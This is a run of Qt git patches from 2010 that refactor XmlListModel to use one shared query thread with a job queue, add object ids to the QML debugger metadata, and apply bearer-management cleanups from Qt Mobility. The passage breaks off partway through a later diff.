22 Mar 2010 16:00:27 +1000 Subject: Properly use one thread for all instances of XmlListModel. Task-number: QT-2831 --- src/declarative/util/qdeclarativexmllistmodel.cpp | 190 ++++++++++++--------- src/declarative/util/qdeclarativexmllistmodel_p.h | 15 +- .../tst_qdeclarativexmllistmodel.cpp | 66 +++++++ 3 files changed, 188 insertions(+), 83 deletions(-) diff --git a/src/declarative/util/qdeclarativexmllistmodel.cpp b/src/declarative/util/qdeclarativexmllistmodel.cpp index 01ae2ed..03ddddf 100644 --- a/src/declarative/util/qdeclarativexmllistmodel.cpp +++ b/src/declarative/util/qdeclarativexmllistmodel.cpp @@ -46,6 +46,7 @@ #include #include +#include #include #include #include @@ -61,8 +62,7 @@ QT_BEGIN_NAMESPACE - - +Q_DECLARE_METATYPE(QDeclarativeXmlQueryResult) typedef QPair QDeclarativeXmlListRange; @@ -109,13 +109,25 @@ typedef QPair QDeclarativeXmlListRange; \sa XmlListModel */ +struct XmlQueryJob +{ + int queryId; + QByteArray data; + QString query; + QString namespaces; + QStringList roleQueries; + QStringList keyRoleQueries; + QStringList keyRoleResultsCache; +}; + class QDeclarativeXmlQuery : public QThread { Q_OBJECT public: QDeclarativeXmlQuery(QObject *parent=0) - : QThread(parent), m_quit(false), m_restart(false), m_abort(false), m_queryId(0) { + : QThread(parent), m_quit(false), m_abortQueryId(-1), m_queryIds(0) { + qRegisterMetaType("QDeclarativeXmlQueryResult"); } ~QDeclarativeXmlQuery() { m_mutex.lock(); @@ -126,27 +138,38 @@ public: wait(); } - void abort() { + void abort(int id) { QMutexLocker locker(&m_mutex); - m_abort = true; + m_abortQueryId = id; } - int doQuery(QString query, QString namespaces, QByteArray data, QList *roleObjects) { + int doQuery(QString query, QString namespaces, QByteArray data, QList *roleObjects, QStringList keyRoleResultsCache) { QMutexLocker locker(&m_mutex); - m_size = 0; - m_data = data; - m_query = QLatin1String("doc($src)") + query; - m_namespaces = namespaces; - m_roleObjects = roleObjects; - if (!isRunning()) { - m_abort = false; + + XmlQueryJob job; + job.queryId = m_queryIds; + job.data = data; + job.query = QLatin1String("doc($src)") + query; + job.namespaces = namespaces; + job.keyRoleResultsCache = keyRoleResultsCache; + + for (int i=0; icount(); i++) { + if (!roleObjects->at(i)->isValid()) { + job.roleQueries << ""; + continue; + } + job.roleQueries << roleObjects->at(i)->query(); + if (roleObjects->at(i)->isKey()) + job.keyRoleQueries << job.roleQueries.last(); + } + m_jobs.enqueue(job); + m_queryIds++; + + if (!isRunning()) start(); - } else { - m_restart = true; + else m_condition.wakeOne(); - } - m_queryId++; - return m_queryId; + return job.queryId; } QList > modelData() { @@ -164,26 +187,33 @@ public: return m_removedItemRanges; } + Q_SIGNALS: - void queryCompleted(int queryId, int size); + void queryCompleted(const QDeclarativeXmlQueryResult &); protected: void run() { while (!m_quit) { m_mutex.lock(); - int queryId = m_queryId; doQueryJob(); doSubQueryJob(); - m_data.clear(); // no longer needed m_mutex.unlock(); m_mutex.lock(); - if (!m_abort) - emit queryCompleted(queryId, m_size); - if (!m_restart) + const XmlQueryJob &job = m_jobs.dequeue(); + if (m_abortQueryId != job.queryId) { + QDeclarativeXmlQueryResult r; + r.queryId = job.queryId; + r.size = m_size; + r.data = m_modelData; + r.inserted = m_insertedItemRanges; + r.removed = m_removedItemRanges; + r.keyRoleResultsCache = job.keyRoleResultsCache; + emit queryCompleted(r); + } + if (m_jobs.isEmpty()) m_condition.wait(&m_mutex); - m_abort = false; - m_restart = false; + m_abortQueryId = -1; m_mutex.unlock(); } } @@ -197,30 +227,30 @@ private: private: QMutex m_mutex; QWaitCondition m_condition; + QQueue m_jobs; bool m_quit; - bool m_restart; - bool m_abort; - QByteArray m_data; - QString m_query; - QString m_namespaces; + int m_abortQueryId; QString m_prefix; int m_size; - int m_queryId; - const QList *m_roleObjects; + int m_queryIds; QList > m_modelData; - QStringList m_keysValues; QList m_insertedItemRanges; QList m_removedItemRanges; }; +Q_GLOBAL_STATIC(QDeclarativeXmlQuery, globalXmlQuery) + void QDeclarativeXmlQuery::doQueryJob() { + Q_ASSERT(!m_jobs.isEmpty()); + XmlQueryJob &job = m_jobs.head(); + QString r; QXmlQuery query; - QBuffer buffer(&m_data); + QBuffer buffer(&job.data); buffer.open(QIODevice::ReadOnly); query.bindVariable(QLatin1String("src"), &buffer); - query.setQuery(m_namespaces + m_query); + query.setQuery(job.namespaces + job.query); query.evaluateTo(&r); //qDebug() << r; @@ -231,9 +261,9 @@ void QDeclarativeXmlQuery::doQueryJob() b.open(QIODevice::ReadOnly); //qDebug() << xml; - QString namespaces = QLatin1String("declare namespace dummy=\"http://qtsotware.com/dummy\";\n") + m_namespaces; + QString namespaces = QLatin1String("declare namespace dummy=\"http://qtsotware.com/dummy\";\n") + job.namespaces; QString prefix = QLatin1String("doc($inputDocument)/dummy:items") + - m_query.mid(m_query.lastIndexOf(QLatin1Char('/'))); + job.query.mid(job.query.lastIndexOf(QLatin1Char('/'))); //figure out how many items we are dealing with int count = -1; @@ -249,19 +279,18 @@ void QDeclarativeXmlQuery::doQueryJob() } //qDebug() << count; + job.data = xml; m_prefix = namespaces + prefix + QLatin1Char('/'); - m_data = xml; + m_size = 0; if (count > 0) m_size = count; } void QDeclarativeXmlQuery::getValuesOfKeyRoles(QStringList *values, QXmlQuery *query) const { - QStringList keysQueries; - for (int i=0; icount(); i++) { - if (m_roleObjects->at(i)->isKey()) - keysQueries << m_roleObjects->at(i)->query(); - } + Q_ASSERT(!m_jobs.isEmpty()); + + const QStringList &keysQueries = m_jobs.head().keyRoleQueries; QString keysQuery; if (keysQueries.count() == 1) keysQuery = m_prefix + keysQueries[0]; @@ -291,54 +320,58 @@ void QDeclarativeXmlQuery::addIndexToRangeList(QList * void QDeclarativeXmlQuery::doSubQueryJob() { + Q_ASSERT(!m_jobs.isEmpty()); + XmlQueryJob &job = m_jobs.head(); m_modelData.clear(); - QBuffer b(&m_data); + QBuffer b(&job.data); b.open(QIODevice::ReadOnly); QXmlQuery subquery; subquery.bindVariable(QLatin1String("inputDocument"), &b); - QStringList keysValues; - getValuesOfKeyRoles(&keysValues, &subquery); + QStringList keyRoleResults; + getValuesOfKeyRoles(&keyRoleResults, &subquery); // See if any values of key roles have been inserted or removed. + m_insertedItemRanges.clear(); m_removedItemRanges.clear(); - if (m_keysValues.isEmpty()) { + if (job.keyRoleResultsCache.isEmpty()) { m_insertedItemRanges << qMakePair(0, m_size); } else { - if (keysValues != m_keysValues) { + if (keyRoleResults != job.keyRoleResultsCache) { QStringList temp; - for (int i=0; isize(); ++i) { - QDeclarativeXmlListModelRole *role = m_roleObjects->at(i); - if (!role->isValid()) { + const QStringList &queries = job.roleQueries; + for (int i = 0; i < queries.size(); ++i) { + if (queries[i].isEmpty()) { QList resultList; for (int j = 0; j < m_size; ++j) resultList << QVariant(); m_modelData << resultList; continue; } - subquery.setQuery(m_prefix + QLatin1String("(let $v := ") + role->query() + QLatin1String(" return if ($v) then ") + role->query() + QLatin1String(" else \"\")")); + subquery.setQuery(m_prefix + QLatin1String("(let $v := ") + queries[i] + QLatin1String(" return if ($v) then ") + queries[i] + QLatin1String(" else \"\")")); QXmlResultItems resultItems; subquery.evaluateTo(&resultItems); QXmlItem item(resultItems.next()); @@ -404,8 +437,8 @@ public: QNetworkReply *reply; QDeclarativeXmlListModel::Status status; qreal progress; - QDeclarativeXmlQuery qmlXmlQuery; int queryId; + QStringList keyRoleResultsCache; QList roleObjects; static void append_role(QDeclarativeListProperty *list, QDeclarativeXmlListModelRole *role); static void clear_role(QDeclarativeListProperty *list); @@ -489,9 +522,8 @@ void QDeclarativeXmlListModelPrivate::clear_role(QDeclarativeListPropertyqmlXmlQuery, SIGNAL(queryCompleted(int,int)), - this, SLOT(queryCompleted(int,int))); + connect(globalXmlQuery(), SIGNAL(queryCompleted(QDeclarativeXmlQueryResult)), + this, SLOT(queryCompleted(QDeclarativeXmlQueryResult))); } QDeclarativeXmlListModel::~QDeclarativeXmlListModel() @@ -723,7 +755,7 @@ void QDeclarativeXmlListModel::reload() if (!d->isComponentComplete) return; - d->qmlXmlQuery.abort(); + globalXmlQuery()->abort(d->queryId); d->queryId = -1; int count = d->size; @@ -755,7 +787,7 @@ void QDeclarativeXmlListModel::reload() } if (!d->xml.isEmpty()) { - d->queryId = d->qmlXmlQuery.doQuery(d->query, d->namespaces, d->xml.toUtf8(), &d->roleObjects); + d->queryId = globalXmlQuery()->doQuery(d->query, d->namespaces, d->xml.toUtf8(), &d->roleObjects, d->keyRoleResultsCache); d->progress = 1.0; d->status = Ready; emit progressChanged(d->progress); @@ -802,7 +834,7 @@ void QDeclarativeXmlListModel::requestFinished() } else { d->status = Ready; QByteArray data = d->reply->readAll(); - d->queryId = d->qmlXmlQuery.doQuery(d->query, d->namespaces, data, &d->roleObjects); + d->queryId = globalXmlQuery()->doQuery(d->query, d->namespaces, data, &d->roleObjects, d->keyRoleResultsCache); disconnect(d->reply, 0, this, 0); d->reply->deleteLater(); d->reply = 0; @@ -821,22 +853,20 @@ void QDeclarativeXmlListModel::requestProgress(qint64 received, qint64 total) } } -void QDeclarativeXmlListModel::queryCompleted(int id, int size) +void QDeclarativeXmlListModel::queryCompleted(const QDeclarativeXmlQueryResult &result) { Q_D(QDeclarativeXmlListModel); - if (id != d->queryId) + if (result.queryId != d->queryId) return; - bool sizeChanged = size != d->size; - d->size = size; - d->data = d->qmlXmlQuery.modelData(); - - QList removed = d->qmlXmlQuery.removedItemRanges(); - QList inserted = d->qmlXmlQuery.insertedItemRanges(); - - for (int i=0; isize; + d->size = result.size; + d->data = result.data; + d->keyRoleResultsCache = result.keyRoleResultsCache; + + for (int i=0; i #include +#include #include @@ -56,10 +57,18 @@ QT_BEGIN_NAMESPACE QT_MODULE(Declarative) class QDeclarativeContext; - class QDeclarativeXmlListModelRole; - class QDeclarativeXmlListModelPrivate; + +struct QDeclarativeXmlQueryResult { + int queryId; + int size; + QList > data; + QList > inserted; + QList > removed; + QStringList keyRoleResultsCache; +}; + class Q_DECLARATIVE_EXPORT QDeclarativeXmlListModel : public QListModelInterface, public QDeclarativeParserStatus { Q_OBJECT @@ -126,7 +135,7 @@ public Q_SLOTS: private Q_SLOTS: void requestFinished(); void requestProgress(qint64,qint64); - void queryCompleted(int,int); + void queryCompleted(const QDeclarativeXmlQueryResult &); private: Q_DECLARE_PRIVATE(QDeclarativeXmlListModel) diff --git a/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp b/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp index 0e5e1b0..81cc922 100644 --- a/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp +++ b/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp @@ -74,6 +74,8 @@ private slots: void useKeys_data(); void noKeysValueChanges(); void keysChanged(); + void threading(); + void threading_data(); void propertyChanges(); private: @@ -86,6 +88,8 @@ private: if (!data.isEmpty()) { QStringList items = data.split(";"); foreach(const QString &item, items) { + if (item.isEmpty()) + continue; QVariantList variants; xml += QLatin1String(""); QStringList fields = item.split(","); @@ -505,6 +509,63 @@ void tst_qdeclarativexmllistmodel::keysChanged() delete model; } +void tst_qdeclarativexmllistmodel::threading() +{ + QFETCH(int, xmlDataCount); + + QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/roleKeys.qml")); + + QDeclarativeXmlListModel *m1 = qobject_cast(component.create()); + QVERIFY(m1 != 0); + QDeclarativeXmlListModel *m2 = qobject_cast(component.create()); + QVERIFY(m2 != 0); + QDeclarativeXmlListModel *m3 = qobject_cast(component.create()); + QVERIFY(m3 != 0); + + for (int dataCount=0; dataCountsetXml(makeItemXmlAndData(data1)); + m2->setXml(makeItemXmlAndData(data2)); + m3->setXml(makeItemXmlAndData(data3)); + + QTRY_VERIFY(m1->count() == dataCount && m2->count() == dataCount && m3->count() == dataCount); + + for (int i=0; idata(i, m1->roles()[0]).toString(), QString("A" + QString::number(i))); + QCOMPARE(m1->data(i, m1->roles()[1]).toString(), QString("1" + QString::number(i))); + QCOMPARE(m1->data(i, m1->roles()[2]).toString(), QString("Football")); + + QCOMPARE(m2->data(i, m2->roles()[0]).toString(), QString("B" + QString::number(i))); + QCOMPARE(m2->data(i, m2->roles()[1]).toString(), QString("2" + QString::number(i))); + QCOMPARE(m2->data(i, m2->roles()[2]).toString(), QString("Athletics")); + + QCOMPARE(m3->data(i, m3->roles()[0]).toString(), QString("C" + QString::number(i))); + QCOMPARE(m3->data(i, m3->roles()[1]).toString(), QString("3" + QString::number(i))); + QCOMPARE(m3->data(i, m3->roles()[2]).toString(), QString("Curling")); + } + } + + delete m1; + delete m2; + delete m3; +} + +void tst_qdeclarativexmllistmodel::threading_data() +{ + QTest::addColumn("xmlDataCount"); + + QTest::newRow("1") << 1; + QTest::newRow("2") << 2; + QTest::newRow("10") << 10; +} + void tst_qdeclarativexmllistmodel::propertyChanges() { QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/propertychanges.qml")); @@ -554,6 +615,8 @@ void tst_qdeclarativexmllistmodel::propertyChanges() QCOMPARE(model->query(), QString("/Pets")); QCOMPARE(model->namespaceDeclarations(), QString("declare namespace media=\"http://search.yahoo.com/mrss/\";")); + QTRY_VERIFY(model->count() == 1); + QCOMPARE(sourceSpy.count(),1); QCOMPARE(xmlSpy.count(),1); QCOMPARE(modelQuerySpy.count(),1); @@ -568,6 +631,9 @@ void tst_qdeclarativexmllistmodel::propertyChanges() QCOMPARE(xmlSpy.count(),1); QCOMPARE(modelQuerySpy.count(),1); QCOMPARE(namespaceDeclarationsSpy.count(),1); + + QTRY_VERIFY(model->count() == 1); + delete model; } QTEST_MAIN(tst_qdeclarativexmllistmodel) -- cgit v0.12 From 929488ba788549a9b38c1ab3784307b575a537a5 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Wed, 24 Mar 2010 13:32:37 +1000 Subject: Add object ids to the metadata provided in debugger classes. --- src/declarative/debugger/qdeclarativedebug.cpp | 14 ++++++++++---- src/declarative/debugger/qdeclarativedebug_p.h | 2 ++ src/declarative/qml/qdeclarativecontext.cpp | 15 +++++++++++++++ src/declarative/qml/qdeclarativecontext_p.h | 2 ++ src/declarative/qml/qdeclarativeenginedebug.cpp | 15 +++++++++++---- src/declarative/qml/qdeclarativeenginedebug_p.h | 1 + src/declarative/qml/qdeclarativeintegercache.cpp | 10 ++++++++++ src/declarative/qml/qdeclarativeintegercache_p.h | 1 + 8 files changed, 52 insertions(+), 8 deletions(-) diff --git a/src/declarative/debugger/qdeclarativedebug.cpp b/src/declarative/debugger/qdeclarativedebug.cpp index e4b7d4d..677d05f 100644 --- a/src/declarative/debugger/qdeclarativedebug.cpp +++ b/src/declarative/debugger/qdeclarativedebug.cpp @@ -151,6 +151,7 @@ void QDeclarativeEngineDebugPrivate::decode(QDataStream &ds, QDeclarativeDebugOb ds >> data; o.m_debugId = data.objectId; o.m_class = data.objectType; + o.m_idString = data.idString; o.m_name = data.objectName; o.m_source.m_url = data.url; o.m_source.m_lineNumber = data.lineNumber; @@ -750,8 +751,8 @@ QDeclarativeDebugObjectReference::QDeclarativeDebugObjectReference(int debugId) } QDeclarativeDebugObjectReference::QDeclarativeDebugObjectReference(const QDeclarativeDebugObjectReference &o) -: m_debugId(o.m_debugId), m_class(o.m_class), m_name(o.m_name), - m_source(o.m_source), m_contextDebugId(o.m_contextDebugId), +: m_debugId(o.m_debugId), m_class(o.m_class), m_idString(o.m_idString), + m_name(o.m_name), m_source(o.m_source), m_contextDebugId(o.m_contextDebugId), m_properties(o.m_properties), m_children(o.m_children) { } @@ -759,8 +760,8 @@ QDeclarativeDebugObjectReference::QDeclarativeDebugObjectReference(const QDeclar QDeclarativeDebugObjectReference & QDeclarativeDebugObjectReference::operator=(const QDeclarativeDebugObjectReference &o) { - m_debugId = o.m_debugId; m_class = o.m_class; m_name = o.m_name; - m_source = o.m_source; m_contextDebugId = o.m_contextDebugId; + m_debugId = o.m_debugId; m_class = o.m_class; m_idString = o.m_idString; + m_name = o.m_name; m_source = o.m_source; m_contextDebugId = o.m_contextDebugId; m_properties = o.m_properties; m_children = o.m_children; return *this; } @@ -775,6 +776,11 @@ QString QDeclarativeDebugObjectReference::className() const return m_class; } +QString QDeclarativeDebugObjectReference::idString() const +{ + return m_idString; +} + QString QDeclarativeDebugObjectReference::name() const { return m_name; diff --git a/src/declarative/debugger/qdeclarativedebug_p.h b/src/declarative/debugger/qdeclarativedebug_p.h index f0c7a77..4ead232 100644 --- a/src/declarative/debugger/qdeclarativedebug_p.h +++ b/src/declarative/debugger/qdeclarativedebug_p.h @@ -230,6 +230,7 @@ public: int debugId() const; QString className() const; + QString idString() const; QString name() const; QDeclarativeDebugFileReference source() const; @@ -242,6 +243,7 @@ private: friend class QDeclarativeEngineDebugPrivate; int m_debugId; QString m_class; + QString m_idString; QString m_name; QDeclarativeDebugFileReference m_source; int m_contextDebugId; diff --git a/src/declarative/qml/qdeclarativecontext.cpp b/src/declarative/qml/qdeclarativecontext.cpp index f801a88..1236923 100644 --- a/src/declarative/qml/qdeclarativecontext.cpp +++ b/src/declarative/qml/qdeclarativecontext.cpp @@ -730,6 +730,21 @@ void QDeclarativeContextData::setIdPropertyData(QDeclarativeIntegerCache *data) idValues = new ContextGuard[idValueCount]; } +QString QDeclarativeContextData::findObjectId(const QObject *obj) const +{ + if (!idValues || !propertyNames) + return QString(); + + for (int i=0; ifindId(i); + } + + if (linkedContext) + return linkedContext->findObjectId(obj); + return QString(); +} + QDeclarativeContext *QDeclarativeContextData::asQDeclarativeContext() { if (!publicContext) diff --git a/src/declarative/qml/qdeclarativecontext_p.h b/src/declarative/qml/qdeclarativecontext_p.h index f07045e..e5f18b3 100644 --- a/src/declarative/qml/qdeclarativecontext_p.h +++ b/src/declarative/qml/qdeclarativecontext_p.h @@ -190,6 +190,8 @@ public: // Linked contexts. this owns linkedContext. QDeclarativeContextData *linkedContext; + QString findObjectId(const QObject *obj) const; + static QDeclarativeContextData *get(QDeclarativeContext *context) { return QDeclarativeContextPrivate::get(context)->data; } diff --git a/src/declarative/qml/qdeclarativeenginedebug.cpp b/src/declarative/qml/qdeclarativeenginedebug.cpp index a377b35..d30aa8e 100644 --- a/src/declarative/qml/qdeclarativeenginedebug.cpp +++ b/src/declarative/qml/qdeclarativeenginedebug.cpp @@ -68,16 +68,16 @@ QDeclarativeEngineDebugServer::QDeclarativeEngineDebugServer(QObject *parent) QDataStream &operator<<(QDataStream &ds, const QDeclarativeEngineDebugServer::QDeclarativeObjectData &data) { - ds << data.url << data.lineNumber << data.columnNumber << data.objectName - << data.objectType << data.objectId << data.contextId; + ds << data.url << data.lineNumber << data.columnNumber << data.idString + << data.objectName << data.objectType << data.objectId << data.contextId; return ds; } QDataStream &operator>>(QDataStream &ds, QDeclarativeEngineDebugServer::QDeclarativeObjectData &data) { - ds >> data.url >> data.lineNumber >> data.columnNumber >> data.objectName - >> data.objectType >> data.objectId >> data.contextId; + ds >> data.url >> data.lineNumber >> data.columnNumber >> data.idString + >> data.objectName >> data.objectType >> data.objectId >> data.contextId; return ds; } @@ -275,6 +275,13 @@ QDeclarativeEngineDebugServer::objectData(QObject *object) rv.columnNumber = -1; } + QDeclarativeContext *context = qmlContext(object); + if (context) { + QDeclarativeContextData *cdata = QDeclarativeContextData::get(context); + if (cdata) + rv.idString = cdata->findObjectId(object); + } + rv.objectName = object->objectName(); rv.objectId = QDeclarativeDebugService::idForObject(object); rv.contextId = QDeclarativeDebugService::idForObject(qmlContext(object)); diff --git a/src/declarative/qml/qdeclarativeenginedebug_p.h b/src/declarative/qml/qdeclarativeenginedebug_p.h index a95449b..9491411 100644 --- a/src/declarative/qml/qdeclarativeenginedebug_p.h +++ b/src/declarative/qml/qdeclarativeenginedebug_p.h @@ -75,6 +75,7 @@ public: QUrl url; int lineNumber; int columnNumber; + QString idString; QString objectName; QString objectType; int objectId; diff --git a/src/declarative/qml/qdeclarativeintegercache.cpp b/src/declarative/qml/qdeclarativeintegercache.cpp index 8fa210f..be36471 100644 --- a/src/declarative/qml/qdeclarativeintegercache.cpp +++ b/src/declarative/qml/qdeclarativeintegercache.cpp @@ -64,6 +64,16 @@ void QDeclarativeIntegerCache::clear() engine = 0; } +QString QDeclarativeIntegerCache::findId(int value) const +{ + for (StringCache::ConstIterator iter = stringCache.begin(); + iter != stringCache.end(); ++iter) { + if (iter.value() && iter.value()->value == value) + return iter.key(); + } + return QString(); +} + void QDeclarativeIntegerCache::add(const QString &id, int value) { Q_ASSERT(!stringCache.contains(id)); diff --git a/src/declarative/qml/qdeclarativeintegercache_p.h b/src/declarative/qml/qdeclarativeintegercache_p.h index b57565e..5fb5a76 100644 --- a/src/declarative/qml/qdeclarativeintegercache_p.h +++ b/src/declarative/qml/qdeclarativeintegercache_p.h @@ -73,6 +73,7 @@ public: inline int count() const; void add(const QString &, int); int value(const QString &); + QString findId(int value) const; inline int value(const QScriptDeclarativeClass::Identifier &id) const; protected: -- cgit v0.12 From 06188c60bfd530a5f1d6ef954a45d31bccb2e987 Mon Sep 17 00:00:00 2001 From: Aaron McCarthy Date: Wed, 24 Mar 2010 13:45:52 +1000 Subject: Bearer management changes from Qt Mobility (6fb31d1e). 6fb31d1e287d7def45c115eb56bcb9b0c5cb3c40. --- examples/network/bearercloud/cloud.h | 2 +- examples/network/bearermonitor/sessionwidget.h | 2 +- src/network/bearer/qnetworksession.h | 2 +- src/plugins/bearer/corewlan/qcorewlanengine.h | 3 +- src/plugins/bearer/corewlan/qcorewlanengine.mm | 21 +- src/plugins/bearer/generic/qgenericengine.cpp | 2 +- src/plugins/bearer/icd/qicdengine.cpp | 2 +- src/plugins/bearer/icd/qnetworksession_impl.cpp | 2 +- .../bearer/networkmanager/qnetworkmanagerservice.h | 16 +- .../bearer/symbian/qnetworksession_impl.cpp | 67 +++++- src/plugins/bearer/symbian/qnetworksession_impl.h | 7 +- src/plugins/bearer/symbian/symbianengine.cpp | 79 +++++-- src/plugins/bearer/symbian/symbianengine.h | 6 +- .../qnetworksession/test/tst_qnetworksession.cpp | 255 ++++++++++++++++++--- 14 files changed, 375 insertions(+), 91 deletions(-) diff --git a/examples/network/bearercloud/cloud.h b/examples/network/bearercloud/cloud.h index 38f8aff..5d4e52a 100644 --- a/examples/network/bearercloud/cloud.h +++ b/examples/network/bearercloud/cloud.h @@ -56,7 +56,7 @@ class Cloud : public QObject, public QGraphicsItem Q_INTERFACES(QGraphicsItem) public: - Cloud(const QNetworkConfiguration &config, QGraphicsItem *parent = 0); + explicit Cloud(const QNetworkConfiguration &config, QGraphicsItem *parent = 0); ~Cloud(); enum { Type = UserType + 1 }; diff --git a/examples/network/bearermonitor/sessionwidget.h b/examples/network/bearermonitor/sessionwidget.h index cc9c067..ae5cc96 100644 --- a/examples/network/bearermonitor/sessionwidget.h +++ b/examples/network/bearermonitor/sessionwidget.h @@ -53,7 +53,7 @@ class SessionWidget : public QWidget, public Ui_SessionWidget Q_OBJECT public: - SessionWidget(const QNetworkConfiguration &config, QWidget *parent = 0); + explicit SessionWidget(const QNetworkConfiguration &config, QWidget *parent = 0); ~SessionWidget(); void timerEvent(QTimerEvent *); diff --git a/src/network/bearer/qnetworksession.h b/src/network/bearer/qnetworksession.h index e65c177..1f25088 100644 --- a/src/network/bearer/qnetworksession.h +++ b/src/network/bearer/qnetworksession.h @@ -81,7 +81,7 @@ public: InvalidConfigurationError }; - QNetworkSession(const QNetworkConfiguration& connConfig, QObject* parent =0); + explicit QNetworkSession(const QNetworkConfiguration& connConfig, QObject* parent =0); virtual ~QNetworkSession(); bool isOpen() const; diff --git a/src/plugins/bearer/corewlan/qcorewlanengine.h b/src/plugins/bearer/corewlan/qcorewlanengine.h index 76574a8..ece2c60 100644 --- a/src/plugins/bearer/corewlan/qcorewlanengine.h +++ b/src/plugins/bearer/corewlan/qcorewlanengine.h @@ -95,11 +95,10 @@ private: SCDynamicStoreRef storeSession; CFRunLoopSourceRef runloopSource; - bool hasWifi; protected: - QMap > userProfiles; + QMap > userProfiles; void startNetworkChangeLoop(); void getUserConfigurations(); diff --git a/src/plugins/bearer/corewlan/qcorewlanengine.mm b/src/plugins/bearer/corewlan/qcorewlanengine.mm index 5a13de9..e3778f1 100644 --- a/src/plugins/bearer/corewlan/qcorewlanengine.mm +++ b/src/plugins/bearer/corewlan/qcorewlanengine.mm @@ -50,11 +50,13 @@ #include #include + #include #include #include #include #include +#include #include #include @@ -194,14 +196,14 @@ void QCoreWlanEngine::connectToId(const QString &id) NSString *wantedSsid = 0; bool okToProceed = true; + if(getNetworkNameFromSsid(id) != id) { NSArray *array = [CW8021XProfile allUser8021XProfiles]; for (NSUInteger i=0; i<[array count]; ++i) { const QString idCheck = QString::number(qHash(QLatin1String("corewlan:") + qt_mac_NSStringToQString([[array objectAtIndex:i] userDefinedName]))); const QString idCheck2 = QString::number(qHash(QLatin1String("corewlan:") + qt_mac_NSStringToQString([[array objectAtIndex:i] ssid]))); - if(id == idCheck - || id == idCheck2) { + if (id == idCheck || id == idCheck2) { QString thisName = getSsidFromNetworkName(id); if(thisName.isEmpty()) { wantedSsid = qt_mac_QStringToNSString(id); @@ -263,6 +265,8 @@ void QCoreWlanEngine::connectToId(const QString &id) emit connectionError(id, InterfaceLookupError); locker.relock(); } + + locker.unlock(); emit connectionError(id, OperationNotSupported); } @@ -415,7 +419,6 @@ QStringList QCoreWlanEngine::scanForSsids(const QString &interfaceName) if (!err) { for(uint row=0; row < [apArray count]; row++ ) { - apNetwork = [apArray objectAtIndex:row]; const QString networkSsid = qt_mac_NSStringToQString([apNetwork ssid]); @@ -501,6 +504,7 @@ QStringList QCoreWlanEngine::scanForSsids(const QString &interfaceName) while (i.hasNext()) { i.next(); QString networkName = i.key(); + if(!addedConfigs.contains(networkName)) { QString interfaceName; QMapIterator ij(i.value()); @@ -688,7 +692,6 @@ QString QCoreWlanEngine::getSsidFromNetworkName(const QString &name) QMapIterator > i(userProfiles); while (i.hasNext()) { i.next(); - QMap map = i.value(); QMapIterator ij(i.value()); while (ij.hasNext()) { @@ -697,7 +700,7 @@ QString QCoreWlanEngine::getSsidFromNetworkName(const QString &name) if(name == i.key() || name == idCheck) { return ij.key(); } - } + } } return QString(); } @@ -731,10 +734,10 @@ void QCoreWlanEngine::getUserConfigurations() for(uint row=0; row < [wifiInterfaces count]; row++ ) { CWInterface *wifiInterface = [CWInterface interfaceWithName: [wifiInterfaces objectAtIndex:row]]; - + NSString *nsInterfaceName = [wifiInterface name]; // add user configured system networks SCDynamicStoreRef dynRef = SCDynamicStoreCreate(kCFAllocatorSystemDefault, (CFStringRef)@"Qt corewlan", nil, nil); - NSDictionary * airportPlist = (NSDictionary *)SCDynamicStoreCopyValue(dynRef, (CFStringRef)[NSString stringWithFormat:@"Setup:/Network/Interface/%@/AirPort", [wifiInterface name]]); + NSDictionary * airportPlist = (NSDictionary *)SCDynamicStoreCopyValue(dynRef, (CFStringRef)[NSString stringWithFormat:@"Setup:/Network/Interface/%@/AirPort", nsInterfaceName]); CFRelease(dynRef); NSDictionary *prefNetDict = [airportPlist objectForKey:@"PreferredNetworks"]; @@ -744,7 +747,7 @@ void QCoreWlanEngine::getUserConfigurations() QString thisSsid = qt_mac_NSStringToQString(ssidkey); if(!userProfiles.contains(thisSsid)) { QMap map; - map.insert(thisSsid, qt_mac_NSStringToQString([wifiInterface name])); + map.insert(thisSsid, qt_mac_NSStringToQString(nsInterfaceName)); userProfiles.insert(thisSsid, map); } } @@ -778,7 +781,7 @@ void QCoreWlanEngine::getUserConfigurations() if(!userProfiles.contains(networkName) && !ssid.isEmpty()) { QMap map; - map.insert(ssid, qt_mac_NSStringToQString([wifiInterface name])); + map.insert(ssid, qt_mac_NSStringToQString(nsInterfaceName)); userProfiles.insert(networkName, map); } } diff --git a/src/plugins/bearer/generic/qgenericengine.cpp b/src/plugins/bearer/generic/qgenericengine.cpp index dfc74f2..c1de4e0 100644 --- a/src/plugins/bearer/generic/qgenericengine.cpp +++ b/src/plugins/bearer/generic/qgenericengine.cpp @@ -203,7 +203,7 @@ void QGenericEngine::doRequestUpdate() if (interface.flags() & QNetworkInterface::IsLoopBack) continue; - // ignore WLAN interface handled in seperate engine + // ignore WLAN interface handled in separate engine if (qGetInterfaceType(interface.name()) == QLatin1String("WLAN")) continue; diff --git a/src/plugins/bearer/icd/qicdengine.cpp b/src/plugins/bearer/icd/qicdengine.cpp index f70a209..7a4cb9d 100644 --- a/src/plugins/bearer/icd/qicdengine.cpp +++ b/src/plugins/bearer/icd/qicdengine.cpp @@ -335,7 +335,7 @@ void QIcdEngine::doRequestUpdate() locker.relock(); } - if (!ap.scan.network_type.startsWith("WLAN")) + if (!ap.scan.network_type.startsWith(QLatin1String("WLAN"))) continue; // not a wlan AP } } else { diff --git a/src/plugins/bearer/icd/qnetworksession_impl.cpp b/src/plugins/bearer/icd/qnetworksession_impl.cpp index a2ae65c..06e0529 100644 --- a/src/plugins/bearer/icd/qnetworksession_impl.cpp +++ b/src/plugins/bearer/icd/qnetworksession_impl.cpp @@ -391,7 +391,7 @@ quint64 QNetworkSessionPrivateImpl::getStatistics(bool sent) const return 0; } - foreach (Maemo::IcdStatisticsResult res, stats_results) { + foreach (const Maemo::IcdStatisticsResult &res, stats_results) { if (res.params.network_attrs & ICD_NW_ATTR_IAPNAME) { /* network_id is the IAP UUID */ if (QString(res.params.network_id.data()) == activeConfig.identifier()) { diff --git a/src/plugins/bearer/networkmanager/qnetworkmanagerservice.h b/src/plugins/bearer/networkmanager/qnetworkmanagerservice.h index 048f628..ecca537 100644 